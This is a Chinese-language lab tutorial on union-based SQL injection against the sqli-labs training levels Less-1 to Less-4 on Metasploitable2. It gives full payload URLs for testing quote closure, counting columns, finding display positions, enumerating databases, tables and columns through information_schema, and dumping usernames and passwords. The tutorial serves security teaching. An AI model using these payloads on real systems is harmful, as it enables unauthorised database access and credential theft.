SQL注入-联合查询法
1.联合查询法注入步骤
之前已经介绍过SQL注入的基本步骤
这个步骤介绍的就是联合查询法的步骤,联合查询在SQL注入中最为简单
在Metasploitable2-Linux中设置了不同的版本,Less-1 - Less-4就用的是联合查询法,今天主要针对于第一关Less-1,将其联合查询法的详细步骤原理
Less-1
1.求其闭合方式
在metasploitable2-linux中,我们可以切换到/var/www/sqli-labs-master/Less-1中,其中有两个文件,index.php文件就是web页面的脚本文件,我们在其中可以看到它的闭合方式为id=’$id’,我们在每一个版本Less中时,当猜不出其闭合方式时,我们可以查其脚本文件
在web页面中,我们不可能直接查看其脚本文件,我们只能通过SQL注入来一步步的导出其数据
关键SQL注入语句
:Less-1/?id=1’ and 1=1 --+
:Less-1/?id=1’ and 1=2 --+
原理:
我们在其脚本文件中看到的其闭合方式为单引号闭合,在web页面中不会显示器闭合方式,其闭合方式是隐藏的,原本id=’’,双引号中间是被闭合的内容,此时在1后面加上闭合符号的话,会打破其闭合,/?id=1’ and 1=1 --+,打破闭合后在加上and逻辑与语句,即可判断其闭合是否正确,–+为注释符#源码,注释其原闭合即不生效
逻辑与and 1=1,当其闭合方式正确时,and之前为真时,其结果必为真,则其页面回显就正常
逻辑与and 1=2,当其闭合方式正确时,and之前不管真假时,其结果必为假,则其页面无回显
求的其闭合方式为’'单引号闭合
2.二分法求表的列数
先引进一个函数 order by(),在SQL中是一个排序函数,在此页面中,可以用来爆列数,当其列数正确时,能回显正确的页面,其二分法是为了使其查询更为快速。
关键SQL注入语句:
/?id=1 ’ order by 10 --+
/?id=1 ’ order by 5 --+
/?id=1 ’ order by 3 --+
/?id=1 ’ order by 4 --+
3.观察其显示位
显示位:就是在页面上回显数据的位置
在观察其显示位时,需要用到联合查询union,联合查询就是使union的两端同时输出结果,此时可以使id=-1,这是一个错误语句,则其union之前的命令不执行,只输出union后的查询结果。
关键SQL注入语句:
/?id=-1’ union all select 1,2,3 --+
其显示位为select后两位,即2,3位
4.查找其用户数据库名
查找数据库时名时在系统数据库information_schema.schemata表中查找
先介绍用到的两种函数:
group_concat()函数:可以将列中的数据以行的形式显示
database()函数:可以将数据库直接回显出来
一种限制:limit限制
limit 0,1:0是指从第一行开始,1是指取一个数据
关键SQL注入语句:
/?id=-1’ union all select 1,2,schema_name from information_schema.schemata limit 0,1 --+
或者
/?id=-1’ union all select 1,2,group_concat(schema_name) from information_schema.schemata --+
或者
/?id=-1’ union all select 1,2,database() from information_schema.schemata --+
5.查找其用户所在表
已知其数据库为security的情况下,在系统数据库information_schema.tables表中查找
关键SQL注入语句:
/?id=-1’ union all select 1,2,table_name from information_schema.tables where table_schema=‘security’ limit 0,1 --+
或者
/?id=-1’ union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
6.查找其库中表的列名
已知数据库为security,表名为users时,在系统数据库information_schema.columns表中查找
关键SQL注入语句:
/?id=-1’ union all select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
7.查找数据
已知数据库为security,表名为users,列名为id,username,password时,便能直接导出数据
关键SQL注入语句:
/?id=-1’ union all select 1,username,password from security.users --+
或者
/?id=-1’ union all select 1,group_concat(username),group_concat(password) from security.users --+
Less2-Less-4
Less1-4都为联合查询法,都可以通过此方法逐步爆出数据,只是其闭合方式不同
Less-2
求其闭合方式
关键SQL注入语句:
/?id=1 and 1=1 --+
/?id=1 and 1=2 --+
求的其闭合方式为整形(无闭合符号)
Less-3
求其闭合方式:
关键SQL注入语句:
/?id=1’) and 1=1 --+
/?id=1’) and 1=2 --+
求的其闭合方式为(’ ')
Less-4
求其闭合方式:
关键SQL注入语句:
/?id=1") and 1=1 --+
/?id=1") and 1=2 --+
求的其闭合方式为(" ")